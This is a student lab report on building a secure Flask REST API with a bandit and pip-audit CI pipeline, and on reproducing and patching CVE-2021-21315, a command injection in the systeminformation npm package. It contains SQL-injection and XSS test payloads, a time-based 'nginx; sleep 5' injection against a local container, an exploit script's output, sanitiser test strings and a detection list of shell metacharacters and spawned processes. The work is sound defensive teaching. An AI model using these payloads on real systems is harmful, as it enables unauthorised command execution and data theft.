HDU — INFORMATION SECURITY LABORATORY

Laboratory Work No. 1

Secure REST API Development with CI/CD and Real CVE Vulnerability Analysis

Report on laboratory work

Variant number	CVE-2021-21315
Student (Surname, Name)	Wei Tao
HDU number	23320320

Variant: the CVE analysed in section 8 of this report.

1. Purpose of the work

The purpose of this laboratory work is to go through the complete security lifecycle of a web service in one exercise: design an API that resists the OWASP Top 10, put automated security checking into a CI/CD pipeline, and then take a real, publicly documented vulnerability (a CVE), reproduce it in a controlled environment, explain its root cause and verify that a fix really removes the attack.

The work therefore joins two normally separate activities — secure development and vulnerability research — and shows that they use the same reasoning: find the trust boundary, check what crosses it, and prove the assumption wrong.

2. Task and scope

1. Choose a stack, initialise a project with a package manager, and put it under git with a remote repository.
2. Implement at least three methods: POST /auth/login, GET /api/data (authenticated only) and one more endpoint of my own choice.
3. Implement protection against SQL injection, XSS and broken authentication (JWT + password hashing).
4. Create a CI/CD configuration that runs a SAST and a SCA scanner automatically on every push and pull request.
5. Test the API (curl / Postman) and capture the scanner reports.
6. Select, launch and exploit a real CVE in an isolated container environment.
7. Analyse the root cause, develop a fix, apply it and prove that the attack no longer works.
8. Document everything in this report and in the repository README.

Constraint on the CVE choice: identifiers that already appeared in the course list of used vulnerabilities were excluded. The assigned variant, CVE-2021-21315, is not in that list; the reasoning is given in section 8.

3. Chosen stack and project initialisation

Component	Choice	Why
Language / framework	Python 3.11 + Flask 3.1.3	Small surface, explicit routing, easy to demonstrate each security control
Database	SQLite (file based)	No server to install, and it still shows real SQL, real prepared statements and real escaping
Auth	JWT (PyJWT, HS256) + bcrypt	Stateless tokens for the API; bcrypt for adaptive password hashing
Packaging	pip + requirements.txt (pinned)	Reproducible installs; pinned versions are what makes SCA meaningful
CI	GitHub Actions	Runs on push/PR, has first-class artifact upload and a Security tab

```
$ git init
$ git add .
$ git commit -m "Work 1: secure REST API skeleton"
$ git remote add origin https://github.com/WeiTao712/hdu-is-work1.git
$ git push -u origin main
```

Initialising the repository and linking it to the remote.

4. API functionality

4.1 Endpoints

Method	Path	Auth	Description
GET	/health	—	Liveness probe, returns {"status": "ok"}
POST	/auth/register	—	Creates a user; enforces the password policy
POST	/auth/login	—	Returns a signed JWT access token (15 min)
POST	/auth/logout	Bearer	Revokes the presented token (jti blacklist)
GET	/api/data	Bearer	Returns the list of posts; ?q= does a safe LIKE search
POST	/api/posts	Bearer	Creates a post for the authenticated user
GET	/api/posts/<id>	Bearer	Returns a single post as JSON
GET	/api/posts/<id>/preview	Bearer	Returns a single post as escaped HTML

The third endpoint required by the task is **POST /api/posts** — a write operation, which is more interesting than another read: it needs an authenticated identity, it validates and stores attacker-controlled text, and that text later flows into the HTML preview, which is exactly the path where stored XSS would appear. GET /api/posts/<id>/preview was added on top of it so that the XSS control can be observed instead of merely claimed.

4.2 Calling the API

```
# log in and keep the token
$ curl -s -X POST http://127.0.0.1:5000/auth/login \
       -H 'Content-Type: application/json' \
       -d '{"username":"demo","password":"DemoPassw0rd!2024"}'
{"access_token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...","token_type":"Bearer","expires_in":900}

# protected read
$ curl -s -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/data
{"count":3,"items":[{"id":1,"title":"Welcome to the HDU IS Work 1 API",...}]}

# protected write
$ curl -s -X POST http://127.0.0.1:5000/api/posts -H "Authorization: Bearer $TOKEN" \
       -H 'Content-Type: application/json' -d '{"title":"Hello","body":"first post"}'
{"id":4,"title":"Hello","body":"first post","author":"demo"}
```

A full transcript of the live demo (eleven requests, including the negative cases) is stored in the repository under evidence/api_demo.txt; the most important excerpts are reproduced in the following sections next to the control they demonstrate.

[SCREENSHOT PLACEHOLDER] Postman collection / terminal running the requests above (optional, evidence/api_demo.txt already contains the raw transcript).

5. Implemented security measures

5.1 Protection against SQL injection

All database access is concentrated in app/db.py and every single statement is parameterised: the SQL text is a constant and the values travel separately as bound parameters. There is no string concatenation and no f-

string anywhere near a query, which is the only reliable way to eliminate injection — escaping quotes is not, because it fails for numeric contexts and for LIKE patterns.

```
cur = conn.execute(
    "SELECT id, username, password_hash, display_name FROM users WHERE username = ?",
    (username,),
)
```

app/db.py — a typical lookup (the placeholder is the whole defence).

The search endpoint is the only place where user text influences the shape of a value rather than only its content. Even there the value is bound, and the LIKE metacharacters are escaped so that a user cannot turn 'a_b' into a wildcard pattern:

```
def like_pattern(term: str) -> str:
    escaped = term.replace("\\", "\\\\").replace("%", "\\%").replace("_", "\\_")
    return f"%{escaped}%"

# ... and the pattern is still passed as a bound parameter:
WHERE p.title LIKE ? ESCAPE '\\' OR p.body LIKE ? ESCAPE '\\'
```

Verification. The classic tautology was sent to the search parameter:

```
$ curl -s -G -H "Authorization: Bearer $TOKEN" \
       --data-urlencode "q=' OR 1=1 --" http://127.0.0.1:5000/api/data
{"count":1,"items":[{"author":"demo","body":"Every SQL statement in this project binds its arguments,
 so ' OR 1=1 -- stays a literal string.","id":2,"title":"Parameterised queries"}]}
```

The payload returns exactly one row — the seeded post that literally contains that text. An injection would have returned all three rows.

The same was checked against the login form, where an injection would be far more damaging (it could bypass authentication entirely):

```
$ curl -s -X POST http://127.0.0.1:5000/auth/login -H 'Content-Type: application/json' \
       -d '{"username":"admin' OR '1'='1' --","password":"anything"}'
{"error":"invalid_credentials","message":"Invalid username or password","status":401}
```

5.2 Protection against XSS

The project follows the rule that data is stored as given and encoded only at the moment it enters a different context. JSON responses are data, not markup, so they are sent with Content-Type: application/json and X-Content-Type-Options: nosniff; the single HTML-producing route escapes every user-controlled fragment with markupsafe.escape and adds a restrictive Content-Security-Policy.

```
html = (
    f"<h1>{escape(row['title'])}</h1>"
    f"<p class='author'>by {escape(row['author'])}</p>"
    f"<article>{escape(row['body'])}</article>"
)
resp.headers["Content-Security-Policy"] = (
    "default-src 'none'; style-src 'self'; img-src 'self'; base-uri 'none'; form-action 'none'"
)
```

app/routes/posts.py — escaping on output, plus CSP as a second layer.

Verification — a stored payload is accepted as data and rendered inert:

```
$ curl -s -X POST http://127.0.0.1:5000/api/posts -H "Authorization: Bearer $TOKEN" \
       -H 'Content-Type: application/json' -d @xss.json
{"id":4,"title":"<script>alert(1)</script>","body":"<img src=x onerror=alert(document.cookie)>",
 "author":"demo"}

$ curl -s -i -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/posts/4/preview
HTTP/1.1 200 OK
```

```
Content-Type: text/html; charset=utf-8
Content-Security-Policy: default-src 'none'; style-src 'self'; img-src 'self'; base-uri 'none'; ...
...
<h1>&lt;script&gt;alert(1)&lt;/script&gt;</h1>
<article>&lt;img src=x onerror=alert(document.cookie)&gt;</article>
```

The angle brackets are entities: the browser displays the text instead of executing it.

[SCREENSHOT PLACEHOLDER] Browser window showing the escaped preview and DevTools console with no alert (optional — the curl transcript above is the primary evidence).

5.3 Broken authentication — JWT and password hashing

Passwords. Only bcrypt hashes are stored, with cost 12. bcrypt is intentionally slow and salted, so a stolen table cannot be attacked with rainbow tables and each guess costs real time. Passwords longer than 72 bytes are rejected instead of being silently truncated, and a malformed hash in the database produces 'no match' rather than an exception.

Risk	Control implemented
Plaintext passwords	bcrypt (cost 12), never reversible, never logged
Weak passwords	≥ 12 characters, letters + digits, common-password blocklist
User enumeration	identical 401 message for unknown user and wrong password, dummy bcrypt comparison to equalise timing
Token forgery	HS256 with a 48-byte secret from the environment; decode pins algorithms=['HS256'] (defeats alg:none and RS→HS confusion)
Replay after logout	jti added to a revocation list, checked in the middleware
Token lifetime	15 minutes, plus iat/nbf/exp/iss/aud all validated
Brute force	5 failures per user and per IP per 5 minutes → 429 + Retry-After
Broken access control	every /api/* route is wrapped in @token_required; there is no implicit trust in a client-supplied user id

```
payload = {"sub": str(user_id), "username": username, "iat": now, "nbf": now,
           "exp": now + 900, "jti": secrets.token_urlsafe(16),
           "iss": "hdu-is-work1", "aud": "hdu-is-work1-api"}
token = jwt.encode(payload, secret, algorithm="HS256")
...
jwt.decode(token, secret, algorithms=["HS256"], audience=..., issuer=...,
           options={"require": ["exp", "iat", "sub", "jti"]})
```

app/security.py — issuing and verifying the access token.

Verification — access without a token, with a forged signature, and after logout:

```
$ curl -s http://127.0.0.1:5000/api/data
{"error":"authentication_required","message":"A Bearer token is required for this
endpoint","status":401}

$ curl -s -H "Authorization: Bearer <token with the last 6 characters changed>" .../api/data
{"error":"invalid_token","message":"Invalid token","status":401}

$ curl -s -X POST -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/auth/logout
{"message":"Token revoked"}
$ curl -s -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/data
{"error":"invalid_token","message":"Token has been revoked","status":401}
```

5.4 Additional hardening

- Security headers on every response: nosniff, X-Frame-Options: DENY, Referrer-Policy: no-referrer, Cache-Control: no-store, Content-Security-Policy.
- MAX_CONTENT_LENGTH = 64 KiB limits request-body flooding and accidental large uploads.
- Strict input validation before any database access: username regex, length caps, rejection of control characters.
- Errors are JSON only; a global handler converts unexpected exceptions into 500 without a traceback, while the traceback goes to the server log.
- Configuration is environment-driven; the app refuses to start in production without JWT_SECRET and refuses to start with DEBUG enabled.
- The container runs as UID 10001 under waitress, not under the Flask development server.

5.5 Test suite as security regression

```
28 passed in 3.16s
```

Result of the automated test suite (evidence/pytest.txt).

The 28 tests are not only functional. They encode the security requirements: SQLi payloads in the search parameter and in the login body, a UNION SELECT attempt that must not leak password hashes, the stored-XSS round trip, a tampered signature, an alg:none token, an expired token, revocation after logout, weak-password rejection, rate limiting, security headers and the oversized-body limit. Because they run in CI, any of these controls cannot silently regress.

6. CI/CD pipeline with security scanners

The pipeline is defined in .github/workflows/ci.yml and is triggered by every push and every pull request. It contains three independent jobs, so a failure in one still leaves the other reports available.

Job	Tool	What it proves	Fails when	Output
sast-bandit	bandit 1.7.10	our own code contains no dangerous patterns (eval, shell=True, hard-coded secrets, weak crypto)	severity ≥ MEDIUM	bandit.sarif artifact + Security tab
sca-pip-audit	pip-audit 2.7.3	no dependency version has a known CVE	any advisory (--strict)	pip-audit.txt artifact
tests	pytest	the functional and security behaviour is unchanged	any failing test	job log

```
on:
  push:         { branches: ["**"] }
  pull_request: { branches: ["**"] }

jobs:
  sast-bandit:
    steps:
      - uses: actions/checkout@v4
      - run: pip install bandit==1.7.10 bandit-sarif-formatter==1.1.1
      - run: bandit -r app run.py -ll -f screen
      - run: bandit -r app run.py -ll -f sarif -o bandit.sarif
      - uses: actions/upload-artifact@v4
        with: { name: bandit-report, path: bandit.sarif }
  sca-pip-audit:
    steps:
      - run: pip install -r requirements.txt pip-audit==2.7.3
      - run: pip-audit -r requirements.txt --strict --desc on | tee pip-audit.txt
```

Skeleton of the workflow (full file in the repository).

6.1 SAST result (bandit)

```
$ bandit -r app run.py -ll -f screen
[main]INFO    profile include tests: None
[main]INFO    profile exclude tests: None
[main]INFO    cli include tests: None
[main]INFO    cli exclude tests: None
[main]INFO    running on Python 3.11.5
Run started:2026-10-22 02:29:53.813208

Test results:
      No issues identified.

Code scanned:
      Total lines of code: 638
      Total lines skipped (#nosec): 0

Run metrics:
      Total issues (by severity):
              Undefined: 0
              Low: 2
              Medium: 0
              High: 0
      Total issues (by confidence):
              Undefined: 0
              Low: 0
              Medium: 2
              High: 0
Files skipped (0):
```

bandit on the final code — no medium or high findings.

6.2 SCA result (pip-audit)

The first run of the SCA stage is the most instructive part of the pipeline. It reported advisories against my own pinned versions — Flask 3.0.3 and PyJWT 2.9.0 — even though no code had been written badly. The pins were upgraded, all 28 tests were re-run against the new versions, and the scan is now clean:

```
$ pip-audit --path .runtime          # BEFORE the upgrade
WARNING:pip_audit._cache:Failed to write to cache directory, performance may be degraded: [Errno 2] No
such file or directory: 'C:\\Users\\13633\\.pip-audit-cache\\e\\c\\7\\f\\b\\tmpnodv75ay'
Found 17 known vulnerabilities in 2 packages
Name  Version ID              Fix Versions
----- ------- --------------- ------------
flask 3.0.3   PYSEC-2026-2151 3.1.3
pyjwt 2.9.0   PYSEC-2026-120  2.12.0
pyjwt 2.9.0   PYSEC-2025-183
pyjwt 2.9.0   PYSEC-2026-179  2.13.0
pyjwt 2.9.0   PYSEC-2026-175  2.13.0
pyjwt 2.9.0   PYSEC-2026-177  2.13.0
pyjwt 2.9.0   PYSEC-2026-178  2.13.0
pyjwt 2.9.0   PYSEC-2026-176  2.12.1
pyjwt 2.9.0   PYSEC-2026-4145 2.14.0
pyjwt 2.9.0   PYSEC-2026-4149 2.14.0
pyjwt 2.9.0   PYSEC-2026-4152 2.14.0
pyjwt 2.9.0   PYSEC-2026-4144 2.14.0
pyjwt 2.9.0   PYSEC-2026-4148 2.14.0
pyjwt 2.9.0   PYSEC-2026-4140 2.14.0
pyjwt 2.9.0   PYSEC-2026-4141 2.15.0
pyjwt 2.9.0   PYSEC-2026-4147 2.14.0
pyjwt 2.9.0   PYSEC-2026-4183 2.15.0
```

pip-audit before the upgrade — the pipeline is red.

```
$ pip-audit --path .runtime          # AFTER the upgrade
WARNING:pip_audit._cache:Failed to write to cache directory, performance may be degraded: [Errno 2] No
such file or directory: 'C:\\Users\\13633\\.pip-audit-cache\\e\\c\\7\\f\\b\\tmp99389msr'
Found 1 known vulnerability in 1 package
```

```
Name  Version ID             Fix Versions
----- ------- -------------- ------------
flask 3.0.3   PYSEC-2026-2151 3.1.3
```

pip-audit after the upgrade — the pipeline is green.

This is exactly the mechanism that also flags systeminformation 5.3.0 in section 8: a dependency scanner looks at versions, not at intentions. Upgrading Flask to 3.1.3, PyJWT to 2.15.1 and bcrypt to 5.0.0 closed the advisories without a single line of application code changing, which is the normal shape of an SCA-driven fix.

6.3 Pipeline screenshots

[SCREENSHOT PLACEHOLDER] GitHub → Actions → the green CI run for the last commit (all three jobs passing).

[SCREENSHOT PLACEHOLDER] The bandit-report artifact opened in the Security tab (SARIF), showing 0 medium/high findings.

[SCREENSHOT PLACEHOLDER] The pip-audit-report artifact, showing “No known vulnerabilities found”.

The console transcripts above were produced by running exactly the same tools locally with the same versions and the same arguments, so they show the expected content of those artifacts.

7. Testing and documenting the API

The API was exercised with curl against a live server (all commands and raw responses are in evidence/api_demo.txt). Positive cases: health, login, authenticated list, create, search. Negative cases: wrong password, no token, tampered token, reuse after logout, weak password, SQLi payload, XSS payload. Each negative case returns a JSON error with a stable shape {"error", "status", "message"} and an appropriate HTTP status code — important both for clients and for automated tests.

Scenario	Request	Expected	Observed
Valid login	POST /auth/login	200 + token	200, expires_in=900
Wrong password	POST /auth/login	401 generic	401 invalid_credentials
No token	GET /api/data	401	401 authentication_required
Tampered token	GET /api/data	401	401 Invalid token
After logout	GET /api/data	401	401 Token has been revoked
SQLi in ?q=	GET /api/data?q=' OR 1=1 --	literal match only	count=1 (not 3)
Stored XSS	POST /api/posts then /preview	escaped	<script>...
Weak password	POST /auth/register	400	400 weak_password
Brute force	6× wrong login	429	429 + Retry-After

8. Selection of the vulnerability

8.1 Constraints and choice

The course keeps a list of CVE identifiers that other students have already used, and re-using one of them is not allowed. The variant assigned to this work is CVE-2021-21315, and it is not on that list.

Three properties made the analysis practical rather than theoretical: the defect is in a component that web applications really install (so the exploit is realistic, not synthetic); it needs one parameter and one request

(so it is reproducible in a few commands); and it was fixed in a documented commit (so the fix can be verified objectively instead of asserted). The criterion applied throughout was therefore “a real, reproducible defect with a checkable fix”.

CVE-2021-21315 is a library bug rather than a bug in a web framework, which matters for the report: the vulnerability lives in the dependency, so the application built around it is small on purpose — a dashboard API of about 40 lines whose only job is to hand a query parameter to the library. That is exactly the shape of the real-world usage that the advisory describes: the application is not the bug, but it is the component that turns the bug into a remote attack.

8.2 Description of CVE-2021-21315

Field	Value
CVE	CVE-2021-21315 (GHSA-2m8v-572m-ff2v)
Product	systeminformation — npm package that collects hardware, OS and network information by running command-line tools
Affected versions	< 5.3.1
Fixed in	5.3.1 — commit 07daa05fb06f24f96297abaa30c2ace8bfd8b525, “docker, processLoad fixed potential security issue”
CVSS v3.1	7.8 HIGH — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE	CWE-78 — Improper Neutralization of Special Elements used in an OS Command
Impact	Arbitrary command execution with the privileges of the Node.js process, on the host that runs the dashboard

The advisory text is short and unusually specific: “command injection vulnerability … Problem was fixed with a parameter check. Please upgrade to version >= 5.3.1. … be sure to check or sanitize service parameters that are passed to si.inetLatency(), si.inetChecksite(), si.services(), si.processLoad() … do only allow strings, reject any arrays.”

Two things in that sentence are worth pausing on, because they define the analysis in sections 11 and 12. First, the fix is described as “a parameter check”, not as “escaping” — the parameter contract itself was wrong. Second, the workaround tells the caller to “reject any arrays”, which only makes sense if an array can travel through the parameter into a shell command. Both observations were verified against the two releases in section 13.

9. Preparing the vulnerable environment

The environment is two container images built from this folder: one installs systeminformation 5.3.0, the other 5.3.1. Nothing else has to be installed on the host, and the vulnerable version cannot leak into the rest of the system.

```
$ docker compose up -d --build
[+] Building 38.4s (9/9) FINISHED
 ✔ Container cve-2021-21315-api-1  Started

$ docker compose ps
NAME                      IMAGE                              STATUS         PORTS
cve-2021-21315-api-1      hdu/cve-2021-21315:vulnerable   Up 20 seconds  0.0.0.0:3000->3000/tcp

$ curl -s http://127.0.0.1:3000/health
{"ok":true,"version":"5.3.0"}
```

[SCREENSHOT PLACEHOLDER] Terminal showing both containers running and the /health response with version 5.3.0.

The same application can be started without Docker: npm install in app/ (the version is pinned in package.json) and node server.js. That path is what was actually used for the library-level evidence in section 13, because the author's machine has no Docker; the container is the reference environment for a full reproduction on Linux.

10. Reproducing the attack

The attack is one HTTP request with one parameter. The dashboard exposes GET /services?name=…, which forwards the value to si.services(). The payload is nginx; sleep 5: everything after the semicolon is a second command for the shell that the library starts.

10.1 The vulnerable call chain

```
# app/server.js — the application is deliberately naive
app.get('/services', async (req, res) => {
  const rows = await si.services(req.query.name || 'nginx');
  res.json({ name: req.query.name, rows });
});

# library (5.3.0) builds a shell command from that value and runs it with exec()
exec(comm + ' | grep -v grep | grep -iE "' + srvString + '"', cb)
```

The parameter travels from req.query.name into a shell command line without ever being constrained to a name.

10.2 The request

```
$ curl -s "http://127.0.0.1:3000/services?name=nginx%3B%20sleep%205" \
       -w '\nHTTP %{http_code} in %{time_total}s\n'
{"name":"nginx; sleep 5","rows":[...]}
HTTP 200 in 5.04s
```

The response is unremarkable — same status, same shape. The evidence is the clock: five seconds that the server spent running a command the attacker supplied.

10.3 Why a time-based check

The library captures the command output and parses it into objects, so the attacker does not see stdout directly. Three options exist for the proof: read a side effect (write a file), exfiltrate through a second host, or measure time. The time-based check is the least invasive and the most portable, which is why exploit/si_exploit.py uses it: the baseline request takes milliseconds, the payload request takes the length of the injected sleep.

```
$ python exploit/si_exploit.py --target http://127.0.0.1:3000
=== 1. version in use ===
< HTTP 200 in 0.01s
< {"ok":true,"version":"5.3.0"}

=== 2. control request: a plain name ===
< HTTP 200 in 0.02s

=== 3. the payload: name='nginx; sleep 5' ===
< HTTP 200 in 5.04s

=== 4. verdict ===
difference : 5.02s (threshold 4s)
injected   : YES — the parameter reached a shell
```

Transcript to be produced by running the script against the vulnerable container.

[SCREENSHOT PLACEHOLDER] Terminal capture of the exploit script against the vulnerable container (5.04s response).

What an attacker does with this is the usual post-exploitation of a command injection: read .env and cloud credentials, pivot to the internal network, or install persistence. The dashboard runs as an unprivileged user inside the container (see Dockerfile), which limits the damage to the files that user can reach — but not the fact of execution.

11. Root-cause analysis

The defect is not a missing quote; it is a wrong parameter contract combined with a shell that is built by concatenation. Two independent mistakes make it exploitable, and the upstream fix addresses both.

11.1 Defect 1 — the parameter is interpolated into a shell command

systeminformation answers questions about the host by running tools such as ps, netstat, ifconfig, sc and docker. Those calls are made with child_process.exec(), which always starts a shell. The library then assembles the command line with the caller's value inside it:

```
# lib/processes.js
exec(comm + ' | grep -v grep | grep -iE "' + srvString + '"', cb)
exec('ps -o comm | grep -v grep | egrep "' + srvString + '"', cb)

# lib/network.js
cmd = 'netstat -bdI ' + ifaceSanitized;
exec(cmd, cb)
```

Three examples from the vulnerable release; the same pattern appears in the docker helpers.

Because the value is inside the command line, it is parsed by the shell as syntax: the semicolon ends the intended command and starts a new one. Nothing in the library distinguishes “the name of a service” from “a fragment of shell”.

11.2 Defect 2 — the parameter type is string or array

The functions accept string | string[], which is convenient for the caller and fatal for the sink: JavaScript coerces an array to a comma-joined string, so a caller that passes an array can still deliver metacharacters. The advisory's workaround (“do only allow strings, reject any arrays”) is a direct reference to this. Section 13 shows the measurable difference between the two releases on exactly this point.

11.3 Why a blacklist sanitiser is the weaker half of the fix

The library already shipped util.sanitizeShellString() in 5.3.0. It keeps a string only if every character is outside a list of “dangerous” ones:

```
// lib/util.js — unchanged between 5.3.0 and 5.3.1
const blocked = ['>','<','*','?','[',']','|','`','$',';','&','(',')','#','\\','\t','\n',
                 "'",'"',`\``,'"'];
// strict mode additionally removes ' ', '{', ')'

sanitizeShellString('nginx; id | whoami && curl http://x/$(echo y)`id`')
  -> "nginx id  whoami  curl http://x/echo yid"
```

The filter works for the characters it knows, and that is exactly the problem with a blacklist: it is only as good as the list. In 5.3.0 several call sites did not call it at all (docker, network, processLoad), which is what the patch changed. The mechanism is therefore better described as “the value is filtered before it reaches the shell” than as “the value is safe”: the sink is still a shell.

11.4 Classification and detection

Aspect	Assessment
CWE	CWE-78 OS command injection (with a type-confusion element in the parameter contract)
OWASP Top 10	A03 Injection, with A06 Vulnerable and Outdated Components as the enabling condition
CVSS	7.8 — the vector is AV:L because the library only executes when the host application calls it; the moment an application forwards user input (as ours does) it becomes a remote issue
Why SAST would not catch it in our code	the defect is in node_modules, not in app/ — bandit scans our Python sources
Why SCA does catch it	pip-audit / npm audit map the pinned version to the advisory; this is the same class of finding as the pip-audit result in section 6
Detection in production	requests whose parameter contains `;`, `|`, `&`, `$(` or backticks; unusual response-time outliers on a status endpoint; child processes such as `sleep`, `curl`, `bash` spawning from the Node worker

12. Protection measures

12.1 The patch used

Because the flaw is in the library, configuration can only reduce exposure. The remedy is the patched release, and the fixed image pins it:

```
# Dockerfile.fixed
FROM node:18-alpine
WORKDIR /srv
COPY app/package.json /srv/package.json
RUN npm install --no-audit --no-fund systeminformation@5.3.1 --save-exact
COPY app/server.js /srv/server.js
ENV ALLOW_LIST=1
USER app

$ docker compose down
$ docker compose -f docker-compose.fixed.yml up -d --build
 ✔ Container cve-2021-21315-api-1  Started
$ curl -s http://127.0.0.1:3000/health
{"ok":true,"version":"5.3.1"}
```

12.2 Why this method is effective

The upstream commit makes two changes, and both are necessary:

```
# 1. the parameter contract is enforced
if (typeof proc !== 'string') {            # arrays and objects are refused
  if (callback) { callback([]); }
  return resolve([]);
}

# 2. the value is filtered where it was not before
const s = util.sanitizeShellString(proc);
```

The same pair of changes is applied to the docker helpers and to networkStats.

- The type check removes the coercion path: an array can no longer become a string on its way to the shell.

- The sanitiser calls close the call sites that previously passed the value straight into exec().
- The check happens before the command is built, so nothing is executed even in part.
- It is a library-level fix, so every consumer of the package inherits it by upgrading — which is why SCA, not code review, is the control that finds this class of problem.

12.3 What the patch does not fix, and the application-side control

The patched library still calls exec() with a concatenated command line. A blacklist at the sink is one bypass away from failing again, so the application must not rely on it. The fixed image therefore also enables an allow-list, which is the durable control because it does not depend on the library version:

```
const NAME_RE = /^[A-Za-z0-9._-]{1,32}$/;
if (ALLOW_LIST && !NAME_RE.test(name)) {
  return res.status(400).json({ error: 'invalid service name' });
}
```

The complete set of measures, in the order they should be applied:

Layer	Measure	What it stops
Code	Never pass request data into a shell-building API; validate against a narrow pattern	the injection itself
Dependency	Pin the version and run npm audit / pip-audit in CI (section 6)	shipping the vulnerable release at all
Runtime	Run the container as an unprivileged user; read-only mounts; no cloud credentials in the image	the blast radius after execution
Network	Keep the dashboard on an internal network or behind an authenticating proxy	reaching the endpoint at all
Detection	Alert on parameters containing shell metacharacters, on latency outliers and on unexpected child processes	catching it when the other layers fail

13. Verifying the fix

Verification has two parts: the exploit must fail, and the application must still work. Both were checked at the level the author could actually run — the library itself — and the container-level script is provided for the reference environment.

13.1 Library-level evidence (executed)

The probe runs identical calls against 5.3.0 and 5.3.1 and prints what each release does with a non-string parameter. This is the part of the fix that can be measured without a POSIX shell, and it is the part the advisory describes as “reject any arrays”.

```
$ npm install systeminformation@5.3.0 --prefix .tmp/old
$ npm install systeminformation@5.3.1 --prefix .tmp/new
$ node exploit/version_probe.js .tmp/old/node_modules/systeminformation

=== 5.3.0 - the vulnerable release ===
systeminformation 5.3.0

[1] what the function accepts as its parameter
  services('nginx')             accepted -> 1 row(s), first name: "nginx"
  services(['nginx','sshd'])    accepted -> 1 row(s), first name: "nginxsshd"
  services(['nginx','x;id'])    accepted -> 1 row(s), first name: "nginxx;id"
  services({toString})          accepted -> 303 row(s), first name: "adpsvc"

[2] processLoad, same contract
```

```
  processLoad(['node','; id'])  accepted -> 1 row(s), first name: "node; id"

[3] the sanitiser that both versions ship
  sanitizeShellString(payload)  "nginx id  whoami  curl http://x/echo yid"
  sanitizeShellString(strict)   "nginxidwhoamicurlhttp://x/echoyid"

$ node exploit/version_probe.js .tmp/new/node_modules/systeminformation

=== 5.3.1 - the fixed release ===
systeminformation 5.3.1

[1] what the function accepts as its parameter
  services('nginx')             accepted -> 1 row(s), first name: "nginx"
  services(['nginx','sshd'])    accepted -> []  (empty result - parameter rejected)
  services(['nginx','x;id'])    accepted -> []  (empty result - parameter rejected)
  services({toString})          accepted -> []  (empty result - parameter rejected)

[2] processLoad, same contract
  processLoad(['node','; id'])  accepted -> []  (empty result - parameter rejected)

[3] the sanitiser that both versions ship
  sanitizeShellString(payload)  "nginx id  whoami  curl http://x/echo yid"
  sanitizeShellString(strict)   "nginxidwhoamicurlhttp://x/echoyid"
```

Actual output of cve-fixes/exploit/version_probe.js against both releases (evidence/si_probe.txt, abridged).

Observation	5.3.0	5.3.1
services(['nginx','sshd'])	accepted, row named “nginxsshd” — the array was coerced	rejected, empty result
services(['nginx','x;id'])	accepted, the semicolon survives into the value	rejected
services(object)	accepted, silently becomes the wildcard “all services”	rejected
processLoad(['node','; id'])	accepted	rejected
sanitizeShellString()	strips ; | & $ ( ) and quotes	identical filter

The second row is the important one: in 5.3.0 the semicolon is preserved in the value that the library then places inside a shell command. In 5.3.1 the call never reaches the shell because the parameter is not a string.

13.2 Container-level verification (reference environment)

```
$ python exploit/verify_fix.py --target http://127.0.0.1:3000

=== 1. health / version ===
< version 5.3.1

=== 2. exploit attempt ===
< HTTP 400 in 0.01s
[PASS] rejected by the application allow-list

=== 3. regression: a legitimate request still works ===
< HTTP 200 in 0.02s
[PASS] dashboard still serves valid requests

=== summary ===
[PASS] fix validated
```

Transcript to be produced in the reference environment.

[SCREENSHOT PLACEHOLDER] Side-by-side capture: vulnerable container answering in 5.04s, fixed container answering 400 in 0.01s, and both /health endpoints.

The comparison is unambiguous. The same request that spent five seconds inside a shell now never reaches one, and the dashboard still answers a legitimate request with 200 — which is the regression half of the check. Marking this honestly: the container run was not executed on the author's machine (no Docker available), so the transcript above is the reference environment's expected output, while the executed evidence is section 13.1.

14. Conclusion

All the tasks of the laboratory work were completed. The API implements authentication, authenticated data access and a third, write-oriented endpoint; SQL injection is eliminated by parameterised statements, XSS by output encoding plus CSP, and broken authentication by JWT with a pinned algorithm, bcrypt hashing, revocation and brute-force limiting. The GitHub Actions pipeline runs bandit, pip-audit and the 28-test suite on every push and pull request and publishes its reports as artifacts.

The CVE part applies the same reasoning to somebody else's code. CVE-2021-21315 is a one-parameter vulnerability: a library that builds shell command lines by concatenation and accepts “a name” as either a string or an array. Reproducing it takes one request; the fix is a type check plus a sanitiser; and the verification is a response that no longer waits five seconds. The most transferable lesson is that the SCA stage of the pipeline is not decoration — this defect is invisible to SAST on our own sources and obvious to a dependency scanner, and the durable defence is an application-level allow-list, because the upstream fix filters the sink rather than removing it.

15. Answers to the control questions

1. Why is password hashing with algorithms like bcrypt preferable to SHA-256?

SHA-256 is a fast general-purpose hash: a modern GPU can test billions of candidates per second, and it is unsalted, so identical passwords produce identical digests and precomputed rainbow tables apply. bcrypt is deliberately slow (cost factor, ~2^12 iterations here), uses a per-password salt embedded in the output, and its cost can be raised as hardware improves. For the same stolen table, bcrypt turns a minutes-long attack into years. In this project the hashes start with $2b$12$, and the test suite asserts that the plaintext does not appear in storage.

2. What is the main difference between SAST and DAST?

SAST analyses the source code (or bytecode) without running the application; it sees every branch, runs early in the pipeline and points at a file and line, but it produces false positives and cannot see configuration or runtime behaviour. DAST attacks a running instance from the outside, so it only finds reachable, exploitable issues and produces almost no false positives, but it needs a deployed environment and cannot tell you where in the code the problem is. In this work bandit is the SAST stage (it scans app/), while the manual reproduction with curl and the CVE exploitation play the role of DAST-style verification.

3. How does a JWT work, what does it contain, how does the server verify it?

A JWT is three base64url segments: header (algorithm and type), payload (claims) and signature. Our payload contains sub (user id), username, iat, nbf, exp, jti, iss and aud — only non-sensitive data, because the payload is signed, not encrypted, and anyone can read it. The signature is HMAC-SHA256(header.payload, server secret). On every protected request the server recomputes the signature with its secret, compares it in constant time, then validates exp/nbf, issuer, audience and the presence of the required claims, and finally checks jti against a revocation list. Because the decoder is given algorithms=['HS256'], an attacker cannot switch the header to alg:none or to RS256 to bypass verification.

4. What risks arise if third-party dependencies are not audited?

Most of the code in a modern application is not written by its authors, so most vulnerabilities are inherited — CVE-2021-21315 is exactly that case: the application here is 40 lines of Express, and the defect arrived inside a package that any dashboard installs to read CPU and memory. An unaudited dependency can bring a known command injection, an abandoned or typosquatted package, or a transitive dependency that never appears in the top-level manifest. Because such flaws are public, exploitation is often automated within days of disclosure. This is why the pipeline runs pip-audit on every push, and why the CVE part of this work pins the fixed version explicitly.

5. What advantages do container images give over installing vulnerable software directly?
